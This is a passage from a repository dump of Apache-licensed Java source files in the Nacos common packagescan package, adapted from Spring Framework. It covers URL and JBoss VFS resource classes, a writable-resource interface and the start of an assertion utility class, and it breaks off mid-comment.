    "content": "/*\n * Copyright 2002-2020 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\nimport com.alibaba.nacos.common.packagescan.util.ResourceUtils;\nimport com.alibaba.nacos.common.packagescan.util.AbstractAssert;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.HttpURLConnection;\nimport java.net.MalformedURLException;\nimport java.net.URI;\nimport java.net.URISyntaxException;\nimport java.net.URL;\nimport java.net.URLConnection;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * {@link Resource} implementation for {@code java.net.URL} locators.\n * Supports resolution as a {@code URL} and also as a {@code File} in\n * case of the {@code \"file:\"} protocol.\n *\n * @author Juergen Hoeller\n * @see URL\n * @since 28.12.2003\n */\npublic class UrlResource extends AbstractFileResolvingResource {\n\n    /**\n     * Original URI, if available; used for URI and File access.\n     */\n\n    private final URI uri;\n\n    /**\n     * Original URL, used for actual access.\n     */\n    private final URL url;\n\n    /**\n     * Cleaned URL (with normalized path), used for comparisons.\n     */\n\n    private volatile URL cleanedUrl;\n\n    /**\n     * Create a new {@code UrlResource} based on the given URI object.\n     *\n     * @param uri a URI\n     * @throws MalformedURLException if the given URL path is not valid\n     * @since 2.5\n     */\n    public UrlResource(URI uri) throws MalformedURLException {\n        AbstractAssert.notNull(uri, \"URI must not be null\");\n        this.uri = uri;\n        this.url = uri.toURL();\n    }\n\n    /**\n     * Create a new {@code UrlResource} based on the given URL object.\n     *\n     * @param url a URL\n     */\n    public UrlResource(URL url) {\n        AbstractAssert.notNull(url, \"URL must not be null\");\n        this.uri = null;\n        this.url = url;\n    }\n\n    /**\n     * Create a new {@code UrlResource} based on a URL path.\n     *\n     * <p>Note: The given path needs to be pre-encoded if necessary.\n     *\n     * @param path a URL path\n     * @throws MalformedURLException if the given URL path is not valid\n     * @see URL#URL(String)\n     */\n    public UrlResource(String path) throws MalformedURLException {\n        AbstractAssert.notNull(path, \"Path must not be null\");\n        this.uri = null;\n        this.url = new URL(path);\n        this.cleanedUrl = getCleanedUrl(this.url, path);\n    }\n\n    /**\n     * Create a new {@code UrlResource} based on a URI specification.\n     *\n     * <p>The given parts will automatically get encoded if necessary.\n     *\n     * @param protocol the URL protocol to use (e.g. \"jar\" or \"file\" - without colon);\n     *                 also known as \"scheme\"\n     * @param location the location (e.g. the file path within that protocol);\n     *                 also known as \"scheme-specific part\"\n     * @throws MalformedURLException if the given URL specification is not valid\n     * @see URI#URI(String, String, String)\n     */\n    public UrlResource(String protocol, String location) throws MalformedURLException {\n        this(protocol, location, null);\n    }\n\n    /**\n     * Create a new {@code UrlResource} based on a URI specification.\n     *\n     * <p>The given parts will automatically get encoded if necessary.\n     *\n     * @param protocol the URL protocol to use (e.g. \"jar\" or \"file\" - without colon);\n     *                 also known as \"scheme\"\n     * @param location the location (e.g. the file path within that protocol);\n     *                 also known as \"scheme-specific part\"\n     * @param fragment the fragment within that location (e.g. anchor on an HTML page,\n     *                 as following after a \"#\" separator)\n     * @throws MalformedURLException if the given URL specification is not valid\n     * @see URI#URI(String, String, String)\n     */\n    public UrlResource(String protocol, String location, String fragment) throws MalformedURLException {\n        try {\n            this.uri = new URI(protocol, location, fragment);\n            this.url = this.uri.toURL();\n        } catch (URISyntaxException ex) {\n            MalformedURLException exToThrow = new MalformedURLException(ex.getMessage());\n            exToThrow.initCause(ex);\n            throw exToThrow;\n        }\n    }\n\n    /**\n     * Determine a cleaned URL for the given original URL.\n     *\n     * @param originalUrl  the original URL\n     * @param originalPath the original URL path\n     * @return the cleaned URL (possibly the original URL as-is)\n     * @see StringUtils#cleanPath\n     */\n    private static URL getCleanedUrl(URL originalUrl, String originalPath) {\n        String cleanedPath = StringUtils.cleanPath(originalPath);\n        if (!cleanedPath.equals(originalPath)) {\n            try {\n                return new URL(cleanedPath);\n            } catch (MalformedURLException ex) {\n                // Cleaned URL path cannot be converted to URL -> take original URL.\n            }\n        }\n        return originalUrl;\n    }\n\n    /**\n     * Lazily determine a cleaned URL for the given original URL.\n     *\n     * @see #getCleanedUrl(URL, String)\n     */\n    private URL getCleanedUrl() {\n        URL cleanedUrl = this.cleanedUrl;\n        if (cleanedUrl != null) {\n            return cleanedUrl;\n        }\n        cleanedUrl = getCleanedUrl(this.url, (this.uri != null ? this.uri : this.url).toString());\n        this.cleanedUrl = cleanedUrl;\n        return cleanedUrl;\n    }\n\n\n    /**\n     * This implementation opens an InputStream for the given URL.\n     *\n     * <p>It sets the {@code useCaches} flag to {@code false},\n     * mainly to avoid jar file locking on Windows.\n     *\n     * @see URL#openConnection()\n     * @see URLConnection#setUseCaches(boolean)\n     * @see URLConnection#getInputStream()\n     */\n    @Override\n    public InputStream getInputStream() throws IOException {\n        URLConnection con = this.url.openConnection();\n        ResourceUtils.useCachesIfNecessary(con);\n        try {\n            return con.getInputStream();\n        } catch (IOException ex) {\n            // Close the HTTP connection (if applicable).\n            if (con instanceof HttpURLConnection) {\n                ((HttpURLConnection) con).disconnect();\n            }\n            throw ex;\n        }\n    }\n\n    /**\n     * This implementation returns the underlying URL reference.\n     */\n    @Override\n    public URL getUrl() {\n        return this.url;\n    }\n\n    /**\n     * This implementation returns the underlying URI directly,\n     * if possible.\n     */\n    @Override\n    public URI getUri() throws IOException {\n        if (this.uri != null) {\n            return this.uri;\n        } else {\n            return super.getUri();\n        }\n    }\n\n    @Override\n    public boolean isFile() {\n        if (this.uri != null) {\n            return super.isFile(this.uri);\n        } else {\n            return super.isFile();\n        }\n    }\n\n    /**\n     * This implementation returns a File reference for the underlying URL/URI,\n     * provided that it refers to a file in the file system.\n     *\n     * @see ResourceUtils#getFile(URL, String)\n     */\n    @Override\n    public File getFile() throws IOException {\n        if (this.uri != null) {\n            return super.getFile(this.uri);\n        } else {\n            return super.getFile();\n        }\n    }\n\n    /**\n     * This implementation creates a {@code UrlResource}, delegating to\n     * {@link #createRelativeUrl(String)} for adapting the relative path.\n     *\n     * @see #createRelativeUrl(String)\n     */\n    @Override\n    public Resource createRelative(String relativePath) throws MalformedURLException {\n        return new UrlResource(createRelativeUrl(relativePath));\n    }\n\n    /**\n     * This delegate creates a {@code java.net.URL}, applying the given path\n     * relative to the path of the underlying URL of this resource descriptor.\n     * A leading slash will get dropped; a \"#\" symbol will get encoded.\n     *\n     * @see #createRelative(String)\n     * @since 5.2\n     */\n    protected URL createRelativeUrl(String relativePath) throws MalformedURLException {\n        if (relativePath.startsWith(\"/\")) {\n            relativePath = relativePath.substring(1);\n        }\n        // # can appear in filenames, java.net.URL should not treat it as a fragment\n        relativePath = StringUtils.replace(relativePath, \"#\", \"%23\");\n        // Use the URL constructor for applying the relative path as a URL spec\n        return new URL(this.url, relativePath);\n    }\n\n    /**\n     * This implementation returns the name of the file that this URL refers to.\n     *\n     * @see URL#getPath()\n     */\n    @Override\n    public String getFilename() {\n        return StringUtils.getFilename(getCleanedUrl().getPath());\n    }\n\n    /**\n     * This implementation returns a description that includes the URL.\n     */\n    @Override\n    public String getDescription() {\n        return \"URL [\" + this.url + \"]\";\n    }\n\n\n    /**\n     * This implementation compares the underlying URL references.\n     */\n    @Override\n    public boolean equals(Object other) {\n        return (this == other || (other instanceof UrlResource\n                && getCleanedUrl().equals(((UrlResource) other).getCleanedUrl())));\n    }\n\n    /**\n     * This implementation returns the hash code of the underlying URL reference.\n     */\n    @Override\n    public int hashCode() {\n        return getCleanedUrl().hashCode();\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/VfsPatternUtils.java",
    "content": "/*\n * Copyright 2002-2017 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\nimport java.io.IOException;\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Proxy;\nimport java.net.URL;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * Artificial class used for accessing the {@link VfsUtils} methods\n * without exposing them to the entire world.\n *\n * @author Costin Leau\n * @since 3.0.3\n */\nabstract class VfsPatternUtils extends VfsUtils {\n\n    static Object getVisitorAttributes() {\n        return doGetVisitorAttributes();\n    }\n\n    static String getPath(Object resource) {\n        String path = doGetPath(resource);\n        return (path != null ? path : \"\");\n    }\n\n    static Object findRoot(URL url) throws IOException {\n        return getRoot(url);\n    }\n\n    static void visit(Object resource, InvocationHandler visitor) throws IOException {\n        Object visitorProxy = Proxy.newProxyInstance(\n                VIRTUAL_FILE_VISITOR_INTERFACE.getClassLoader(),\n                new Class<?>[]{VIRTUAL_FILE_VISITOR_INTERFACE}, visitor);\n        invokeVfsMethod(VIRTUAL_FILE_METHOD_VISIT, resource, visitorProxy);\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/VfsResource.java",
    "content": "/*\n * Copyright 2002-2018 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\nimport com.alibaba.nacos.common.packagescan.util.AbstractAssert;\nimport com.alibaba.nacos.common.packagescan.util.NestedIoException;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.URI;\nimport java.net.URL;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * JBoss VFS based {@link Resource} implementation.\n *\n * <p>As of Spring 4.0, this class supports VFS 3.x on JBoss AS 6+\n * (package {@code org.jboss.vfs}) and is in particular compatible with\n * JBoss AS 7 and WildFly 8+.\n *\n * @author Ales Justin\n * @author Juergen Hoeller\n * @author Costin Leau\n * @author Sam Brannen\n * @see org.jboss.vfs.VirtualFile\n * @since 3.0\n */\npublic class VfsResource extends AbstractResource {\n\n    private final Object resource;\n\n    /**\n     * Create a new {@code VfsResource} wrapping the given resource handle.\n     *\n     * @param resource a {@code org.jboss.vfs.VirtualFile} instance\n     *                 (untyped in order to avoid a static dependency on the VFS API)\n     */\n    public VfsResource(Object resource) {\n        AbstractAssert.notNull(resource, \"VirtualFile must not be null\");\n        this.resource = resource;\n    }\n\n    @Override\n    public InputStream getInputStream() throws IOException {\n        return VfsUtils.getInputStream(this.resource);\n    }\n\n    @Override\n    public boolean exists() {\n        return VfsUtils.exists(this.resource);\n    }\n\n    @Override\n    public boolean isReadable() {\n        return VfsUtils.isReadable(this.resource);\n    }\n\n    @Override\n    public URL getUrl() throws IOException {\n        try {\n            return VfsUtils.getUrl(this.resource);\n        } catch (Exception ex) {\n            throw new NestedIoException(\"Failed to obtain URL for file \" + this.resource, ex);\n        }\n    }\n\n    @Override\n    public URI getUri() throws IOException {\n        try {\n            return VfsUtils.getUri(this.resource);\n        } catch (Exception ex) {\n            throw new NestedIoException(\"Failed to obtain URI for \" + this.resource, ex);\n        }\n    }\n\n    @Override\n    public File getFile() throws IOException {\n        return VfsUtils.getFile(this.resource);\n    }\n\n    @Override\n    public long contentLength() throws IOException {\n        return VfsUtils.getSize(this.resource);\n    }\n\n    @Override\n    public long lastModified() throws IOException {\n        return VfsUtils.getLastModified(this.resource);\n    }\n\n    @Override\n    public Resource createRelative(String relativePath) throws IOException {\n        if (!relativePath.startsWith(\".\") && relativePath.contains(\"/\")) {\n            try {\n                return new VfsResource(VfsUtils.getChild(this.resource, relativePath));\n            } catch (IOException ex) {\n                // fall back to getRelative\n            }\n        }\n\n        return new VfsResource(VfsUtils.getRelative(new URL(getUrl(), relativePath)));\n    }\n\n    @Override\n    public String getFilename() {\n        return VfsUtils.getName(this.resource);\n    }\n\n    @Override\n    public String getDescription() {\n        return \"VFS resource [\" + this.resource + \"]\";\n    }\n\n    @Override\n    public boolean equals(Object other) {\n        return (this == other || (other instanceof VfsResource\n                && this.resource.equals(((VfsResource) other).resource)));\n    }\n\n    @Override\n    public int hashCode() {\n        return this.resource.hashCode();\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/VfsUtils.java",
    "content": "/*\n * Copyright 2002-2018 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\nimport com.alibaba.nacos.common.utils.ReflectUtils;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.net.URI;\nimport java.net.URL;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * Utility for detecting and accessing JBoss VFS in the classpath.\n *\n * <p>As of Spring 4.0, this class supports VFS 3.x on JBoss AS 6+\n * (package {@code org.jboss.vfs}) and is in particular compatible with\n * JBoss AS 7 and WildFly 8+.\n *\n * <p>Thanks go to Marius Bogoevici for the initial patch.\n * <b>Note:</b> This is an internal class and should not be used outside the framework.\n *\n * @author Costin Leau\n * @author Juergen Hoeller\n * @since 3.0.3\n */\npublic abstract class VfsUtils {\n\n    private static final String VFS3_PKG = \"org.jboss.vfs.\";\n\n    private static final String VFS_NAME = \"VFS\";\n\n    private static final Method VFS_METHOD_GET_ROOT_URL;\n\n    private static final Method VFS_METHOD_GET_ROOT_URI;\n\n    private static final Method VIRTUAL_FILE_METHOD_EXISTS;\n\n    private static final Method VIRTUAL_FILE_METHOD_GET_INPUT_STREAM;\n\n    private static final Method VIRTUAL_FILE_METHOD_GET_SIZE;\n\n    private static final Method VIRTUAL_FILE_METHOD_GET_LAST_MODIFIED;\n\n    private static final Method VIRTUAL_FILE_METHOD_TO_URL;\n\n    private static final Method VIRTUAL_FILE_METHOD_TO_URI;\n\n    private static final Method VIRTUAL_FILE_METHOD_GET_NAME;\n\n    private static final Method VIRTUAL_FILE_METHOD_GET_PATH_NAME;\n\n    private static final Method VIRTUAL_FILE_METHOD_GET_PHYSICAL_FILE;\n\n    private static final Method VIRTUAL_FILE_METHOD_GET_CHILD;\n\n    protected static final Class<?> VIRTUAL_FILE_VISITOR_INTERFACE;\n\n    protected static final Method VIRTUAL_FILE_METHOD_VISIT;\n\n    private static final Field VISITOR_ATTRIBUTES_FIELD_RECURSE;\n\n    static {\n        ClassLoader loader = VfsUtils.class.getClassLoader();\n        try {\n            Class<?> vfsClass = loader.loadClass(VFS3_PKG + VFS_NAME);\n            VFS_METHOD_GET_ROOT_URL = vfsClass.getMethod(\"getChild\", URL.class);\n            VFS_METHOD_GET_ROOT_URI = vfsClass.getMethod(\"getChild\", URI.class);\n\n            Class<?> virtualFile = loader.loadClass(VFS3_PKG + \"VirtualFile\");\n            VIRTUAL_FILE_METHOD_EXISTS = virtualFile.getMethod(\"exists\");\n            VIRTUAL_FILE_METHOD_GET_INPUT_STREAM = virtualFile.getMethod(\"openStream\");\n            VIRTUAL_FILE_METHOD_GET_SIZE = virtualFile.getMethod(\"getSize\");\n            VIRTUAL_FILE_METHOD_GET_LAST_MODIFIED = virtualFile.getMethod(\"getLastModified\");\n            VIRTUAL_FILE_METHOD_TO_URI = virtualFile.getMethod(\"toURI\");\n            VIRTUAL_FILE_METHOD_TO_URL = virtualFile.getMethod(\"toURL\");\n            VIRTUAL_FILE_METHOD_GET_NAME = virtualFile.getMethod(\"getName\");\n            VIRTUAL_FILE_METHOD_GET_PATH_NAME = virtualFile.getMethod(\"getPathName\");\n            VIRTUAL_FILE_METHOD_GET_PHYSICAL_FILE = virtualFile.getMethod(\"getPhysicalFile\");\n            VIRTUAL_FILE_METHOD_GET_CHILD = virtualFile.getMethod(\"getChild\", String.class);\n\n            VIRTUAL_FILE_VISITOR_INTERFACE = loader.loadClass(VFS3_PKG + \"VirtualFileVisitor\");\n            VIRTUAL_FILE_METHOD_VISIT = virtualFile.getMethod(\"visit\", VIRTUAL_FILE_VISITOR_INTERFACE);\n\n            Class<?> visitorAttributesClass = loader.loadClass(VFS3_PKG + \"VisitorAttributes\");\n            VISITOR_ATTRIBUTES_FIELD_RECURSE = visitorAttributesClass.getField(\"RECURSE\");\n        } catch (Throwable ex) {\n            throw new IllegalStateException(\"Could not detect JBoss VFS infrastructure\", ex);\n        }\n    }\n\n    protected static Object invokeVfsMethod(Method method, Object target, Object... args) throws IOException {\n        try {\n            return method.invoke(target, args);\n        } catch (InvocationTargetException ex) {\n            Throwable targetEx = ex.getTargetException();\n            if (targetEx instanceof IOException) {\n                throw (IOException) targetEx;\n            }\n            ReflectUtils.handleInvocationTargetException(ex);\n        } catch (Exception ex) {\n            ReflectUtils.handleReflectionException(ex);\n        }\n\n        throw new IllegalStateException(\"Invalid code path reached\");\n    }\n\n    static boolean exists(Object vfsResource) {\n        try {\n            return (Boolean) invokeVfsMethod(VIRTUAL_FILE_METHOD_EXISTS, vfsResource);\n        } catch (IOException ex) {\n            return false;\n        }\n    }\n\n    static boolean isReadable(Object vfsResource) {\n        try {\n            return (Long) invokeVfsMethod(VIRTUAL_FILE_METHOD_GET_SIZE, vfsResource) > 0;\n        } catch (IOException ex) {\n            return false;\n        }\n    }\n\n    static long getSize(Object vfsResource) throws IOException {\n        return (Long) invokeVfsMethod(VIRTUAL_FILE_METHOD_GET_SIZE, vfsResource);\n    }\n\n    static long getLastModified(Object vfsResource) throws IOException {\n        return (Long) invokeVfsMethod(VIRTUAL_FILE_METHOD_GET_LAST_MODIFIED, vfsResource);\n    }\n\n    static InputStream getInputStream(Object vfsResource) throws IOException {\n        return (InputStream) invokeVfsMethod(VIRTUAL_FILE_METHOD_GET_INPUT_STREAM, vfsResource);\n    }\n\n    static URL getUrl(Object vfsResource) throws IOException {\n        return (URL) invokeVfsMethod(VIRTUAL_FILE_METHOD_TO_URL, vfsResource);\n    }\n\n    static URI getUri(Object vfsResource) throws IOException {\n        return (URI) invokeVfsMethod(VIRTUAL_FILE_METHOD_TO_URI, vfsResource);\n    }\n\n    static String getName(Object vfsResource) {\n        try {\n            return (String) invokeVfsMethod(VIRTUAL_FILE_METHOD_GET_NAME, vfsResource);\n        } catch (IOException ex) {\n            throw new IllegalStateException(\"Cannot get resource name\", ex);\n        }\n    }\n\n    static Object getRelative(URL url) throws IOException {\n        return invokeVfsMethod(VFS_METHOD_GET_ROOT_URL, null, url);\n    }\n\n    static Object getChild(Object vfsResource, String path) throws IOException {\n        return invokeVfsMethod(VIRTUAL_FILE_METHOD_GET_CHILD, vfsResource, path);\n    }\n\n    static File getFile(Object vfsResource) throws IOException {\n        return (File) invokeVfsMethod(VIRTUAL_FILE_METHOD_GET_PHYSICAL_FILE, vfsResource);\n    }\n\n    static Object getRoot(URI url) throws IOException {\n        return invokeVfsMethod(VFS_METHOD_GET_ROOT_URI, null, url);\n    }\n\n    // protected methods used by the support sub-package\n\n    protected static Object getRoot(URL url) throws IOException {\n        return invokeVfsMethod(VFS_METHOD_GET_ROOT_URL, null, url);\n    }\n\n    protected static Object doGetVisitorAttributes() {\n        return ReflectUtils.getField(VISITOR_ATTRIBUTES_FIELD_RECURSE, null);\n    }\n\n    protected static String doGetPath(Object resource) {\n        return (String) ReflectUtils.invokeMethod(VIRTUAL_FILE_METHOD_GET_PATH_NAME, resource);\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/WritableResource.java",
    "content": "/*\n * Copyright 2002-2017 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.nio.channels.Channels;\nimport java.nio.channels.WritableByteChannel;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * Extended interface for a resource that supports writing to it.\n * Provides an {@link #getOutputStream() OutputStream accessor}.\n *\n * @author Juergen Hoeller\n * @see OutputStream\n * @since 3.1\n */\npublic interface WritableResource extends Resource {\n\n    /**\n     * Indicate whether the contents of this resource can be written\n     * via {@link #getOutputStream()}.\n     *\n     * <p>Will be {@code true} for typical resource descriptors;\n     * note that actual content writing may still fail when attempted.\n     * However, a value of {@code false} is a definitive indication\n     * that the resource content cannot be modified.\n     *\n     * @see #getOutputStream()\n     * @see #isReadable()\n     */\n    default boolean isWritable() {\n        return true;\n    }\n\n    /**\n     * Return an {@link OutputStream} for the underlying resource,\n     * allowing to (over-)write its content.\n     *\n     * @throws IOException if the stream could not be opened\n     * @see #getInputStream()\n     */\n    OutputStream getOutputStream() throws IOException;\n\n    /**\n     * Return a {@link WritableByteChannel}.\n     *\n     * <p>It is expected that each call creates a <i>fresh</i> channel.\n     *\n     * <p>The default implementation returns {@link Channels#newChannel(OutputStream)}\n     * with the result of {@link #getOutputStream()}.\n     *\n     * @return the byte channel for the underlying resource (must not be {@code null})\n     * @throws java.io.FileNotFoundException if the underlying resource doesn't exist\n     * @throws IOException                   if the content channel could not be opened\n     * @see #getOutputStream()\n     * @since 5.0\n     */\n    default WritableByteChannel writableChannel() throws IOException {\n        return Channels.newChannel(getOutputStream());\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/util/AbstractAssert.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.util;\n\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.Collection;\nimport java.util.Map;\nimport java.util.function.Supplier;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * Assertion utility class that assists in validating arguments.\n *\n * <p>Useful for identifying programmer errors early and clearly at runtime.\n * For example, if the contract of a public method states it does not\n * allow {@code null} arguments, {@code Assert} can be used to validate that\n * contract. Doing this clearly indicates a contract violation when it\n * occurs and protects the class's invariants.\n *\n * <p>Typically used to validate method arguments rather than configuration\n * properties, to check for cases that are usually programmer errors rather\n * than configuration errors. In contrast to configuration initialization\n * code, there is usually no point in falling back to defaults in such methods.\n * This class is similar to JUnit's assertion library. If an argument value is\n * deemed invalid, an {@link IllegalArgumentException} is thrown (typically).\n * For example:\n *\n * <pre class=\"code\">\n * Assert.notNull(clazz, \"The class must not be null\");\n * Assert.isTrue(i &gt; 0, \"The value must be greater than zero\");</pre>\n *\n * <p>Mainly for internal use within the framework; for a more comprehensive suite\n * of assertion utilities consider {@code org.apache.commons.lang3.Validate} from\n * <a href=\"https://commons.apache.org/proper/commons-lang/\">Apache Commons Lang</a>,\n * Google Guava's\n * <a href=\"https://github.com/google/guava/wiki/PreconditionsExplained\">Preconditions</a>,\n * or similar third-party libraries.\n *\n * @author Keith Donald\n * @author Juergen Hoeller\n * @author Sam Brannen\n * @author Colin Sampaleanu\n * @author Rob Harrop\n * @since 1.1.2\n */\npublic abstract class AbstractAssert {\n\n    private AbstractAssert() {\n    }\n\n    /**\n     * Assert a boolean expression, throwing an {@code IllegalStateException}\n     * if the expression evaluates to {@code false}.\n     * Call {@link #isTrue} if you wish to throw an {@code IllegalArgumentException}\n     * on an assertion failure.\n     * <pre class=\"code\">Assert.state(id == null, \"The id property must not already be initialized\");</pre>\n     *\n     * @param expression a boolean expression\n     * @param message    the exception message to use if the assertion fails\n     * @throws IllegalStateException if {@code expression} is {@code false}\n     */\n    public static void state(boolean expression, String message) {\n        if (!expression) {\n            throw new IllegalStateException(message);\n        }\n    }\n\n    /**\n     * Assert a boolean expression, throwing an {@code IllegalStateException}\n     * if the expression evaluates to {@code false}.\n     * Call {@link #isTrue} if you wish to throw an {@code IllegalArgumentException}\n     * on an assertion failure.\n     * <pre class=\"code\">\n     * Assert.state(entity.getId() == null,\n     *     () -&gt; \"ID for entity \" + entity.getName() + \" must not already be initialized\");\n     * </pre>\n     *\n     * @param expression      a boolean expression\n     * @param messageSupplier a supplier for the exception message to use if the\n     *                        assertion fails\n     * @throws IllegalStateException if {@code expression} is {@code false}\n     * @since 5.0\n     */\n    public static void state(boolean expression, Supplier<String> messageSupplier) {\n        if (!expression) {\n            throw new IllegalStateException(nullSafeGet(messageSupplier));\n        }\n    }\n\n    /**\n     * Assert a boolean expression, throwing an {@code IllegalStateException}\n     * if the expression evaluates to {@code false}.\n     *\n     * @deprecated as of 4.3.7, in favor of {@link #state(boolean, String)}\n     */\n    @Deprecated\n    public static void state(boolean expression) {\n        state(expression, \"[Assertion failed] - this state invariant must be true\");\n    }\n\n    /**\n     * Assert a boolean expression, throwing an {@code IllegalArgumentException}\n     * if the expression evaluates to {@code false}.\n     * <pre class=\"code\">Assert.isTrue(i &gt; 0, \"The value must be greater than zero\");</pre>\n     *\n     * @param expression a boolean expression\n     * @param message    the exception message to use if the assertion fails\n     * @throws IllegalArgumentException if {@code expression} is {@code false}\n     */\n    public static void isTrue(boolean expression, String message) {\n        if (!expression) {\n            throw new IllegalArgumentException(message);\n        }\n    }\n\n    /**\n     * Assert a boolean expression, throwing an {@code IllegalArgumentException}\n     * if the expression evaluates to {@code false}.\n     * <pre class=\"code\">\n     * Assert.isTrue(i &gt; 0, () -&gt; \"The value '\" + i + \"' must be greater than zero\");\n     * </pre>\n     *\n     * @param expression      a boolean expression\n     * @param messageSupplier a supplier for the exception message to use if the\n     *                        assertion fails\n     * @throws IllegalArgumentException if {@code expression} is {@code false}\n     * @since 5.0\n     */\n    public static void isTrue(boolean expression, Supplier<String> messageSupplier) {\n        if (!expression) {\n            throw new IllegalArgumentException(nullSafeGet(messageSupplier));\n        }\n    }\n\n    /**\n     * Assert a boolean expression, throwing an {@code IllegalArgumentException}\n     * if the expression evaluates to {@code false}.\n     *\n     * @deprecated as of 4.3.7, in favor of {@link #isTrue(boolean, String)}\n     */\n    @Deprecated\n    public static void isTrue(boolean expression) {\n        isTrue(expression, \"[Assertion failed] - this expression must be true\");\n    }\n\n    /**\n     * Assert that an object is {@code null}.\n     * <pre class=\"code\">Assert.isNull(value, \"The value must be null\");</pre>\n     *\n     * @param object  the object to check\n     * @param message the exception message to use if the assertion fails\n     * @throws IllegalArgumentException if the object is not {@code null}\n     */\n    public static void isNull(Object object, String message) {\n        if (object != null) {\n            throw new IllegalArgumentException(message);\n        }\n    }\n\n    /**\n     * Assert that an object is {@code null}.\n     * <pre class=\"code\">\n     * Assert.isNull(value, () -&gt; \"The value '\" + value + \"' must be null\");\n     * </pre>\n     *\n     * @param object          the object to check\n     * @param messageSupplier a supplier for the exception message to use if the\n     *                        assertion fails\n     * @throws IllegalArgumentException if the object is not {@code null}\n     * @since 5.0\n     */\n    public static void isNull(Object object, Supplier<String> messageSupplier) {\n        if (object != null) {\n            throw new IllegalArgumentException(nullSafeGet(messageSupplier));\n        }\n    }\n\n    /**\n     * Assert that an object is {@code null}.\n     *\n     * @deprecated as of 4.3.7, in favor of {@link #isNull(Object, String)}\n     */\n    @Deprecated\n    public static void isNull(Object object) {\n        isNull(object, \"[Assertion failed] - the object argument must be null\");\n    }\n\n    /**\n     * Assert that an object is not {@code null}.\n     * <pre class=\"code\">Assert.notNull(clazz, \"The class must not be null\");</pre>\n     *\n     * @param object  the object to check\n     * @param message the exception message to use if the assertion fails\n     * @throws IllegalArgumentException if the object is {@code null}\n     */\n    public static void notNull(Object object, String message) {\n        if (object == null) {\n            throw new IllegalArgumentException(message);\n        }\n    }\n\n    /**\n     * Assert that an object is not {@code null}.\n     * <pre class=\"code\">\n     * Assert.notNull(entity.getId(),\n     *     () -&gt; \"ID for entity \" + entity.getName() + \" must not be null\");\n     * 